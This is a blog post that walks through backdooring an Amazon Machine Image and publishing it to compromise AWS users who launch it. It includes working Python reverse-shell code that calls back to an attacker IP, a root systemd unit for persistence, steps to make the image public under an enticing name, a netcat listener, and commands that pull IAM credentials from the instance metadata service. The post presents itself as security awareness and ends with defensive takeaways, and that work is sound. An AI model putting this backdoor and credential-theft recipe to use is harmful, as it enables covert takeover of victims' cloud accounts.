Backdooring AMIs for Fun and Profit

--

2024-03-26 · 6 following

Backdooring AMIs for Fun and Profit

In this blogpost, we look at what Amazon Machine Images are and how it is possible to backdoor AMIs to allow access to a victim’s AWS account. This post highlights the risks associated with using untrusted AMIs within your own AWS account.

What is an AMI?

An Amazon Machine Image (AMI) is a snapshot or pre-configured blueprint of a virtual server, commonly known as an EC2 instance on AWS. It is like capturing a freeze-frame of your computer’s entire setup, which would include the operating system, applications, and data. Essentially, a photo of your computer when everything is arranged the way you want. This snapshot can be stored for personal use or shared with others, enabling them to effortlessly replicate that virtual server in the cloud, achieving an environment that mirrors one’s desired state precisely.

AWS has a lot of AMIs available for public consumption. These AMIs are created by organizations like Microsoft and Canonical for users who want to create EC2 instances in their own accounts (Windows and Ubuntu, in this case).

Most AWS heavy organisations have AMIs created from machines that were setup and configured for their specific business needs. Like having Apache installed on an Ubuntu box with addtional tools as required. The functionality of AWS requiring an AMI to launch an EC2 and users creating EC2s from AMIs from different sources, create 2 major security risks associated with AMIs

  1. A user creating an instance for use using a malicious third-party AMI
  2. A user accidentally (or maliciously) exposing an AMI from their account resulting in system and business data loss

In this blog post, we will evaluate the risk by becoming the bad guy and creating a malicious AMI, making it public and waiting for someone to use it so that we can gain access to the live EC2 that the user creates.

When a victim creates an EC2 instance from our image, the instance role attached to the victim’s EC2 instance can be accessed by using our AMI backdoor.

Creating The AMI

Flow of actions: To achieve our objective, the process involves creating an EC2 instance, configuring it with a backdoor startup service, creating an AMI from this instance, and then making the AMI public. Subsequently, the EC2 will be repurposed as the attack server therefore, cleaning the backdoor from it and setting up a listener to initiate the process of listening for incoming connections.

Starting with a backdoor EC2

  1. Create an EC2 instance with SSH and HTTPS traffic allowed.
  2. Connect to this instance via SSH an create a Python backdoor script,4

sudo nano /opt/startup_script.py

This Python script will establish a reverse shell connection to the public IP of this instance on port 443. When executed, the script periodically checks every 30 minutes whether the connection is active. If not, it will initiate the connection.

This Python script will establish a reverse shell connection to the public IP of this instance on port 443. When executed, the script periodically checks every 30 minutes whether the connection is active. If not, it will initiate the connection.

import socketimport subprocessimport osimport time# Attacker machine's IP address and listening port 443server_ip = "<PUBLIC_IP>"server_port = 443# Function to check if the system is connected to the attacker machinedef is_connected():    try:        # Create a socket and attempt to bind to the attacker's IP and port        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:            s.settimeout(1)            s.bind(("0.0.0.0", server_port))            s.listen(1)            # If binding is successful, system is not connected            return False    except (socket.error, socket.timeout):        # If an error occurs, system is connected        return True# Function to establish a reverse shell connection to the attacker machinedef connect():    try:        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.connect((server_ip, server_port))        # Redirect standard input, output, and error to the socket        subprocess.Popen(["/bin/bash", "-i"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())    except Exception as e:        print(f"An error occurred: {e}") # Main executionif __name__ == "__main__":    while True:        # Check if the system is not connected, and attempt to establish a connection        if not is_connected():            try:                connect()            except Exception as e:                print(f"An error occurred: {e}")        # Wait for 1800 seconds (30 minutes) before attempting another connection        time.sleep(1800)
  1. Create a startup service file at /etc/systemd/system/

sudo nano /etc/systemd/system/startup_script.service

This service will execute the above Python script upon system startup. The service runs as the root user and is set to restart automatically in case of failure ensuring the persistence of the backdoor. The service unit is integrated into the system’s startup process and is dependent on network availability before execution.

This service will execute the above Python script upon system startup. The service runs as the root user and is set to restart automatically in case of failure ensuring the persistence of the backdoor. The service unit is integrated into the system’s startup process and is dependent on network availability before execution.

[Unit]Description=Startup ScriptAfter=network.target[Service]Type=simpleExecStart=/bin/python3 /opt/startup_script.pyUser=rootRestart=always[Install]WantedBy=multi-user.target
  1. Configure this service to start automatically each time the system boots

sudo systemctl enable startup_script.service

Creating the AMI

With our malicious EC2 in its configured state, let’s move forward by creating an image of it.

  1. Go to the “Instances” page and select the EC2 we just created.

  2. Expand the “Actions” drop-down menu at the at the top-right and select the “Create image” option under “Image and templates”

  3. Give a tempting name and description for the AMI which could attract our potential victim’s attention. And then, click on the “Create image” button.

  4. Observe in the “Details” tab that the AMI is in “Pending” state and will take a few minutes based on the disk size of the instance.

Making the AMI public

Now that we have our malicious AMI ready, we make the AMI available for public consumption.

Currently, the AMI is restricted to our AWS account and to propagate its effects, we need to share it with others.

In AWS, AMIs can have two access permissions: “Private” and “Public.”

Private AMI: It is exclusively accessible by the AWS account that created it. This access restriction ensures that only the specified AWS account ID can utilize the AMI. Private AMIs are suitable for scenarios where sensitive data and configurations require secure access within a specific AWS account.Public AMI: It is accessible by any AWS account across the same region as of the AMI. It is shared publicly, allowing any AWS user to launch instances from the AMI. Public AMIs are useful for widely applicable configurations or software that can be openly shared across different AWS accounts. They promote collaboration and usage by a broader audience, making them suitable for scenarios where open accessibility is desired.

Private AMI: It is exclusively accessible by the AWS account that created it. This access restriction ensures that only the specified AWS account ID can utilize the AMI. Private AMIs are suitable for scenarios where sensitive data and configurations require secure access within a specific AWS account.

Public AMI: It is accessible by any AWS account across the same region as of the AMI. It is shared publicly, allowing any AWS user to launch instances from the AMI. Public AMIs are useful for widely applicable configurations or software that can be openly shared across different AWS accounts. They promote collaboration and usage by a broader audience, making them suitable for scenarios where open accessibility is desired.

Let’s check the permissions assigned to our AMI. Navigate to the “Permissions” tab located on the “AMIs” page.

Currently, it is set to “Private,” indicating that only we, within our account, have access to it. To make this AMI accessible to all users within the same region, we need to modify it to “Public”.

  1. Navigate to the “AMIs” page and click on the AMI ID to open the AMI we just created.

  2. Click on the “Edit AMI permissions” button at the bottom-right.

  3. Here, we can see that the option to make the AMI “Public” is greyed out.

This is because by default, public sharing of AMIs is restricted to prioritize security and prevent unintentional exposure of sensitive configurations or data. AWS follows a principle of least privilege, which means that services and resources are configured with the minimum level of access necessary.

This is because by default, public sharing of AMIs is restricted to prioritize security and prevent unintentional exposure of sensitive configurations or data. AWS follows a principle of least privilege, which means that services and resources are configured with the minimum level of access necessary.

We must disable block public access for AMIs to grant “Public” access to our image.

  1. Open the AWS CLI console from the “CloudShell” button presented on the dark grey strip at the top.

  2. Disable block public access for AMIs using the command,

aws ec2 disable-image-block-public-access — region us-east-1

  1. Now, reload the page and observe that the option to make the AMIs public is now available (it may take few minutes).

Get Ratnakar Singh’s stories in your inbox

Join Medium for free to get updates from this writer.

  1. Check the radio button for “Public” and save the changes.

This AMI is currently set to public visibility, and after a while, it will become available in the “Community AMIs” list for other AWS users in the same region. If any user deploys an EC2 instance using this image, it will initiate a reverse shell connection to our attacker server, but for that we must setup a listener.

Configuring the attack server

We employed our EC2 to create a malicious AMI, and now we will use it as a listener to receive incoming reverse shell connections. Let’s initiate the process by stopping the backdoor service.

Note: These steps are not required if a new EC2 instance is going to be used to create the attacker server.

  1. Execute the below commands one by one on the EC2 to stop the startup service that was created for our rogue AMI.

sudo systemctl stop startup_script.servicesudo systemctl disable startup_script.servicesudo systemctl daemon-reloadsudo rm /etc/systemd/system/startup_script.service

These four commands, when executed in sequence, will stop the service, disable it from starting on boot, reload systemd to recognize any configuration changes, and finally, permanently remove the service by deleting its configuration file. This ensures the service is immediately halted from interfering with our listener as it is configured to point to this machine itself.

  1. Install netcat on the system using,

sudo yum -y install nc

  1. Now listen for incoming connections over port 443 using nc,

Simulating The Victim

Now let’s simulate how an unsuspecting AWS user might fall into this trap by launching an EC2 instance using our malicious Amazon Machine Image (AMI).

  1. Sign-in using another AWS account (the victim) and proceed to create an EC2 instance.

  2. Choose the “Browse more AMIs” option while selecting the AMI, it will redirect to the AMIs catalog.

  3. Go to the “Community AMIs” section there and search for a keyword related to the AMI name, such as “IoT” in this case.

  4. Scroll down a bit and observe that the AMI we created is visible, select it and proceed.

  5. Complete the EC2 creation by selecting an IAM role and allowing SSH and HTTPS traffic.

  6. As soon as this instance is booted, there will be a reverse shell in the listener at our attack server.

Upon establishing a reverse shell on the victim’s EC2 instance, we can further escalate the attack by requesting temporary access keys through the AWS STS (Secure Token Service) using the command:

aws sts get-session-token

These acquired access keys can then be used to manipulate other AWS resources, leveraging the permissions associated with the IAM role or role attached to the victim’s EC2 instance.

Risks Associated with Public AMIs

Using publicly available AMIs carries inherent risks since one is relying on images created by external parties which may not be well-known or guaranteed. The potential downsides encompass the inclusion of outdated or vulnerable software, underlying security vulnerabilities, or, as demonstrated, an intentionally injected backdoor. These uncertainties pose a threat to the integrity and security of the instances, necessitating a cautious evaluation of publicly shared AMIs.

Conversely, making your own AMIs public introduces a unique set of risks by exposing your configurations to a broader audience. This scenario raises concerns, especially if your AMI contains sensitive information or vulnerabilities. The consequence of making your AMIs public is that anyone with AWS credentials can use it potentially leading to unauthorized access and other security incidents.

Takeaways

  1. Publicly Available AMIs:
  • Risk in Reliance: Depending on publicly available AMIs involves a level of risk since these images are created by external parties, and their content and security may not be well-vetted or guaranteed. Always use AWS approved AMIs wherever possible.
  • Potential Pitfalls: The downsides include the presence of outdated or vulnerable software, underlying security vulnerabilities, and the possibility of intentional security threats like injected backdoors.
  1. Making Your Own AMIs Public:
  • Exposure of Configurations: Making your own AMIs public exposes your custom configurations to a wider audience, carrying inherent risks.
  • Concerns with Sensitive Information: If your AMI contains sensitive information or vulnerabilities, there are potential concerns about unauthorized access and other security incidents especially if you have not scrubbed sensitive information from the instance before making an AMI out of it.
  1. Necessity for Caution and Evaluation:
  • Threats to Integrity and Security: The uncertainties associated with both using publicly available AMIs and making your own AMIs public pose threats to the integrity and security of instances.
  • Cautious Evaluation: A careful and thorough evaluation of an AMI is crucial before making it public to mitigate potential confidentiality risks. Furthermore, it’s prudent to assume that public AMIs in the community may already be vulnerable, as literally anyone can make an AMI public as we just demonstrated.

Miscellaneous

Some useful commands:

  • Get current block access for AMIs: aws ec2 get-image-block-public-access-state — region
  • Disable block public access for AMIs: aws ec2 disable-image-block-public-access — region
  • Enable block public access for AMIs: aws ec2 enable-image-block-public-access — region — image-block-public-access-state block-new-sharing
  • Get current permission for an AMI: aws ec2 describe-image-attribute — image-id <IMAGE_ID> — attribute launchPermission
  • To make an AMI public: aws ec2 modify-image-attribute — image-id <IMAGE_ID> — launch-permission “Add=[{Group=all}]”
  • To make an AMI private: aws ec2 modify-image-attribute — image-id <IMAGE_ID> — launch-permission “Remove=[{Group=all}]”
  • To request temporary credentials via the IMDSv2 service:TOKEN=$(curl -X PUT “http://169.254.169.254/latest/api/token” -H “X-aws-ec2-metadata-token-ttl-seconds: 21600”) && curl -H “X-aws-ec2-metadata-token: $TOKEN” -v http://169.254.169.254/latest/meta-data/iam/security-credentials/

Conclusion

In our exploration of Amazon Machine Images (AMIs), we’ve delved into their creation and the nuanced security risks involved. The blog has explained the risks of introducing backdoors to AMIs, exposing vulnerabilities when utilizing publicly available images, and the potential threats when sharing one’s own configurations.

The hands-on demonstration showcases the ease with which vulnerabilities can be introduced, especially when making configurations public. A key takeaway is the critical importance of thorough evaluation before sharing AMIs publicly or using public AMIs to mitigate risks associated with outdated software, security weaknesses, or intentional threats.

In summary, whether leveraging images created by others or sharing one’s configurations, a cautious and diligent approach is crucial to ensure the safety and privacy of instances within the AWS environment. This blogpost serves as a guide, underscoring the necessity for users to exercise vigilance in selecting and sharing public AMIs on AWS, thereby safeguarding the integrity and security of their instances and resources.

Related Articles